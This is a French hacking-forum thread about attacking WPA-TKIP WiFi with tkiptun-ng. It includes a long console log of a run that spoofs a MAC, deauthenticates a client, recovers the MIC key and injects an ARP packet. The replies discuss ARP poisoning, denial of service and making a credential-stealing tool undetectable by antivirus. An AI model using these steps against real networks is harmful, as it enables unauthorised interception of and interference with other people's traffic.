LE FORUM DU SITE
Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).

Je viens de faire un test qui a la base n'était pas censé m'amener la mais bon 
On peut réeinjecter du paquet dans tkip (a condition que le QoS soit activé sur la box en question) dans tkip il y a du RC4 donc en injectant du paquet y a t-il moyen avec tkiptun-ng de casser la clé?(bien que d'après les sources officiel tkiptun ne donne pas la vrai passphrase mais une passphrase intermédiaire).
Bref voici un aperçu de la console:
QoS PACKET to 00:19:E7:50:E6:0A with Priority 0! Reinjecting...
Waiting for one QoS Data Packet...
QoS PACKET to 00:19:E7:50:E6:0A with Priority 2! Reinjecting...
Waiting for one QoS Data Packet...
QoS PACKET to 00:19:E7:50:E6:0A with Priority 2! Reinjecting...
Waiting for one QoS Data Packet...
QoS PACKET to 00:19:E7:50:E6:0A with Priority 0! Reinjecting...
Waiting for one QoS Data Packet...
QoS PACKET to 00:19:E7:50:E6:0A with Priority 2! Reinjecting...
Waiting for one QoS Data Packet...
QoS PACKET to 00:19:E7:50:E6:0A with Priority 2! Reinjecting...
Waiting for one QoS Data Packet...
QoS PACKET to 00:19:E7:50:E6:0A with Priority 1! Reinjecting...etc...
Sous airodump je vois les data qui augmente entre 60 et 100/s je n'ai pas encore tester tout sa avec tkiptun-ng mais je me dis que il y a peut etre une piste intéréssante a suivre 
Hors Ligne

j'ai lu je sais plus ou que tu devrais te pencher sur le protocole MIC c'est une piste enfin je pense...
ne m'en voulais pas si je dis des bêtises 
mais c'est intéressant
Dernière modification par toto (17-01-2011 23:58:33)
Hors Ligne

C'est certes intéréssant mais faut t-il encore vraiment voir ce qui et possible a partir de la et si sa peut mener a un résultat positif.
Hors Ligne

oui cela fonctionne mais dois réunir trop de paramètre additionné pour que ça marche et si il en manque un ça foire
alors c'est encore bancal si on avais des neurones on pourrais essayer de trouver tous ça ou au moins aider a avancer
Hors Ligne

oui cela fonctionne mais dois réunir trop de paramètre additionné pour que ça marche et si il en manque un ça foire
C'est sur que pour l'instant c'est très expérimental
si on avais des neurones on pourrais essayer de trouver tous ça ou au moins aider a avance
Ce forum regroupe des gens qui ont des neurones c'est d'ailleurs pour sa que j'y reste,il y a commum eut de jolis projets: atxwpa,gtwpa rien que ces 2 la ont sont la preuve 
Hors Ligne

atxwpa la classe le tool qu'il faut adapter a debian si ceux qui ont des neurones veulent nous faire plaisir 
Hors Ligne

Sa c'est facil avec un peu de prog
le plus dur dans atxwpa c'est de rendre fud le wirelesskeyviewer et la dessu j'en ai chier.
Hors Ligne

souhaitons que cela reste dur pour la majorité des gens mal intentionné moi je comprend rien a ça 
Hors Ligne

Je disais la meme chose avant 
Hors Ligne

apprend nous
(je plaisante)
Hors Ligne

J'èspère
bref on s'éloigne du sujet du topic
Hors Ligne

oui MIC
Hors Ligne

J'ai retesté et l'injection marche,reste a trouver un moyen d'utiliser tous ces paquet
Hors Ligne

Dites,je me demandais si il y avait un moyen de faire un pipe entre mdk3 et tkiptun-ng qui travaillerai emsemble avec un fichier de capture enregistré sous airodump
Hors Ligne

Oulà, temps mort ! C'est quoi le rapport entre mdk3 et tkiptun-ng ? Ou plus exactement, qu'est-ce que tu veux piper de l'un à l'autre (et que vient faire Airodump dans le jeu de quilles) ? J'avoue que je vois pas trop où tu veux en venir 
Pour tkiptun-ng lui-même, je rappelle quand même que ce n'est pas un "produit fini", la partie finale de l'attaque n'est pas encore implémentée. Donc oui, ici tu peux réinjecter sur les différents canaux du 802.11e mais je pense que ça ne va pas plus loin... Quoique, d'après l'exemple donné sur la page de tkiptun-ng, il est capable de déchiffrer un ARP sans connaître la clé 
Bref, d'abord pour répondre à ta question sur le RC4 : oui, TKIP utilise le RC4 puisque son but est de faire du WPA sur des puces qui ne peuvent faire que du WEP. Les paquets sont donc chiffrés en WEP, mais la clé change à chaque paquet. Même si tu pouvais rejouer les paquets pour casser cette pseudo-clé WEP, elle ne te servirait à rien. Je dis "même si" parce que le WPA, conscient du problème de replay dans le WEP, inclut des mécanismes anti-réinjection (qui peuvent être contournés en partie avec le 802.11e).
Pour conclure sur tkiptun-ng, je te conseille franchement de lire l'article de Sid qui explique le fonctionnement de la "faille" qui est derrière --> Des fameuses faiblesses de TKIP... [sid.rstack.org]
Pour couper court au suspense, le résumé :
En définitive, cette attaque permet :
* de déchiffrer des trames arbitraires émise par un AP à destination d'une station ;
* d'injecter du trafic arbitraire à destination de la station considérée.Les limitations sont les suivantes :
* on ne peut déchiffrer que dans le sens AP vers station ;
* le déchiffrement se fait au rythme de un octet par minute ;
* l'exploitation doit se faire en live : si la station est désassociée, tout est perdu ;
* l'injection de données est limitée à une poignée de paquets seulement.
Ca c'est pour l'attaque originale de Tews & Beck, il y a eu quelques évolutions depuis (notamment pour la rendre plus rapide) mais rien de transcendant. Il y a quelques articles qui en parlent sur le blog de Sid également.
Donc pour l'instant, SI tkiptun-ng était complet, on pourrait décoder (lentement) un paquet dans le sens AP >> Station, et injecter des données. Mais les limitations sont lourdes, et il n'y a pas encore d'application "utile" de cette attaque. Donc je pense que le moment où on récupèrera une clé WPA avec cette technique n'est pas encore arrivé 
[EDIT] Voilà les liens sur les évolutions de l'attaque :
--> Man in the Middle sur WPA ? [sid.rstack.org]
--> TKIP à feu doux... [sid.rstack.org]
--> Nouveautés dans les attaques sur TKIP [sid.rstack.org]
--> Hole196 : confirmations... [sid.rstack.org]
Hors Ligne

mmmh merci des renseignements je vais aller voir l'article en question 
Hors Ligne

Ok, après plusieurs testes je suis revenu a l'assault avec tkiptun-ng 
Pour passer le "Waiting for an ARP packet coming from the Client..." il faut jouer avec les options -m -n et contrairement a ce qu'un membre avait dit dans un autre poste ici, il ne suffit pas que la machine connecté au réseau sous linux pour pouvoir passer le "Waiting for an ARP packet coming from the Client..." car le teste s'effectue chez un ami sous vista avec une freebox.
The interface MAC (0C:60:76:00:8F:FB) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether 00:1F:3B:53:E6:E7
Blub 2:38 E6 38 1C 24 15 1C CF
Blub 1:17 DD 0D 69 1D C3 1F EE
Blub 3:29 31 79 E7 E6 CF 8D 5E
00:14:22 Michael Test: Successful
00:14:22 Waiting for beacon frame (BSSID: AA:64:02:41:26:78) on channel 1
00:14:22 Found specified AP
00:14:22 Sending 4 directed DeAuth. STMAC: [00:1F:3B:53:E6:E7] [43|37 ACKs]
00:14:23 WPA handshake: AA:64:02:41:26:78 captured
00:14:24 Waiting for an ARP packet coming from the Client...
Saving chosen packet in replay_src-0327-001424.cap
00:14:24 Waiting for an ARP response packet coming from the AP...
Saving chosen packet in replay_src-0327-001424.cap
00:14:24 Got the answer!
00:14:24 Waiting 10 seconds to let encrypted EAPOL frames pass without interfering.
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
00:16:53 Offset 81 ( 0% done) | xor = 27 | pt = CD | 504 frames written in 413334ms
00:18:16 Offset 80 ( 2% done) | xor = 0E | pt = 6E | 215 frames written in 176290ms
00:19:22 Offset 79 ( 4% done) | xor = 87 | pt = F1 | 55 frames written in 45174ms
00:20:38 Offset 78 ( 7% done) | xor = 2C | pt = 68 | 149 frames written in 122155ms
00:21:59 Offset 77 ( 9% done) | xor = 15 | pt = 9E | 169 frames written in 138619ms
00:23:25 Offset 76 (11% done) | xor = E1 | pt = 87 | 239 frames written in 195929ms
00:24:32 Offset 75 (14% done) | xor = 22 | pt = 47 | 67 frames written in 55031ms
00:25:55 Offset 74 (16% done) | xor = E6 | pt = EA | 175 frames written in 143431ms
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
Sent 772 packets, current guess: 00...00:31:20
Moved one step backwards to chop the last byte again.
00:31:29 Offset 74 (16% done) | xor = 5D | pt = 51 | 83 frames written in 68675ms
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
Sent 772 packets, current guess: 00...00:36:53
Moved one step backwards to chop the last byte again.
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
Sent 772 packets, current guess: 00...00:41:20
Moved one step backwards to chop the last byte again.
00:41:38 Offset 75 (14% done) | xor = E3 | pt = 86 | 136 frames written in 111590ms
00:42:51 Offset 74 (16% done) | xor = 02 | pt = 0E | 113 frames written in 92688ms
00:43:57 Offset 73 (19% done) | xor = 8D | pt = A5 | 45 frames written in 36938ms
00:45:13 Offset 72 (21% done) | xor = D7 | pt = FE | 153 frames written in 125623ms
00:46:41 Offset 71 (23% done) | xor = EF | pt = 54 | 248 frames written in 203130ms
00:47:53 Offset 70 (26% done) | xor = D2 | pt = B3 | 91 frames written in 74638ms
Sleeping for 60 seconds.36 bytes still unknown
ARP Reply
Checking 192.168.x.y
00:47:53 Reversed MIC Key (FromDS): 5D:84:C1:A6:CA:20:97:25
Saving plaintext in replay_dec-0327-004753.cap
Saving keystream in replay_dec-0327-004753.xor
00:47:53
Completed in 1999s (0.02 bytes/s)
00:47:53 AP MAC: 00:24:D4:B3:51:F9 IP: 192.168.0.254
00:47:53 Client MAC: 00:1F:3B:53:E6:E7 IP: 192.168.0.11
00:47:53 Sent encrypted tkip ARP request to the client.
00:47:53 Wait for the mic countermeasure timeout of 60 seconds.
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.
Looks like mic failure report was not detected.Waiting 60 seconds before trying again to avoid the AP shutting down.Comme vous le voyez il ne faut pas etre presser et le laisser travailler 
Je me demandai, y a t-il moyen d'utiliser scapy avec tkiptun-ng de façon a créer ses propres table ARP en renvoyant ensuite ces derniers avec tkiptun?
Hors Ligne

Je vais peut-être dire une co***rie mais comme tu as le (ou la je sais pas) keystream tu peux créer un paquet avec packetforge-ng et réinjecter avec aireplay-ng nan ?
Hors Ligne

Tiens, tiens, intéressant... Je pensais que tkiptun-ng n'implémentait pas l'attaque jusqu'au bout (en tout cas c'est ce qu'ils disent sur le wiki), apparemment il y a quand même moyen d'aller jusqu'à l'injection
Bon, pas encore de quoi faire une vraie attaque (sauf par DoS, et encore), mais intéressant quand même !
Par contre, je ne pense pas que tu puisses créer tes paquets avec Scapy et les refiler à tkiptun-ng ; en revanche, d'après la page officielle (--> tkiptun-ng [aircrack-ng.org]) tu as les options -a, -c et -h qui permettent de spécifier respectivement les adresses de l'AP, de la destination et de la source pour le rejeu. Peut-être qu'il y a une piste avec ça, même si je ne vois pas comment on y fait intervenir les IP 
@Squaks : ça marcherait si on était en WEP, mais ici c'est du WPA donc ce n'est pas le même keystream (je pense)
Au passage, je vote pour "un" keystream (stream = flux en anglais)
Hors Ligne

Une petite question me trotte dans la tête, a quoi cela servirais de réinjecter un arp ?
Hors Ligne

A ton avis, comme ça, au hasard, est-ce qu'il n'y aurait pas une attaque bien connue qui consiste à injecter des paquets ARP falsifiés pour rediriger du trafic ?
"Dis-moi Minus, est-ce que tu penses à ce que je pense ?"[*]
Bon, après je reconnais que faire un ARP poisoning sur un réseau où tu n'as pas de machine-espion n'a pas beaucoup d'intérêt, mais tu pourrais t'en servir pour faire un DoS (rediriger le trafic destiné à la passerelle). Enfin, pour ça il faudrait pouvoir injecter suffisamment de paquets, et ça c'est pas gagné 
Hors Ligne

Sa me fait faire de la recherche et des tests en plus en tous cas et c'est ce que j'aime 
Hors Ligne

Bon, après je reconnais que faire un ARP poisoning sur un réseau où tu n'as pas de machine-espion n'a pas beaucoup d'intérêt, mais tu pourrais t'en servir pour faire un DoS (rediriger le trafic destiné à la passerelle). Enfin, pour ça il faudrait pouvoir injecter suffisamment de paquets, et ça c'est pas gagné
Je pense que oui, Cortex, mais c'est bien la ou je voulais en venir : faire un Arp poisonning sur un réseau ou l'on pas accès devient inutile...
Ps: Et si jamais on a une machine espion dans ce réseau, l'arp poisonning est bien plus facile à partir de celle-ci.
Dernière modification par Squaks (27-03-2011 18:08:57)
Hors Ligne

Voici un article très intérèssant sur l'amélioration de l'attaque tkiptun (chapitre 4) --> attaque sur tkip
Hors Ligne
| Discussion | Réponses | Vues | Dernier message |
|---|---|---|---|
|
Configurer une machine vulnérable par necromoine
|
8 | 433 | 11-12-2011 00:01:47 par antares145 |
|
Épinglée : |
37 | 27457 | 12-10-2011 18:18:52 par ubuntrue |
| 2 | 590 | 05-10-2011 17:56:49 par noireaude | |
| 5 | 1125 | 27-09-2011 07:30:59 par noireaude | |
| 6 | 2307 | 25-09-2011 12:27:30 par spawn |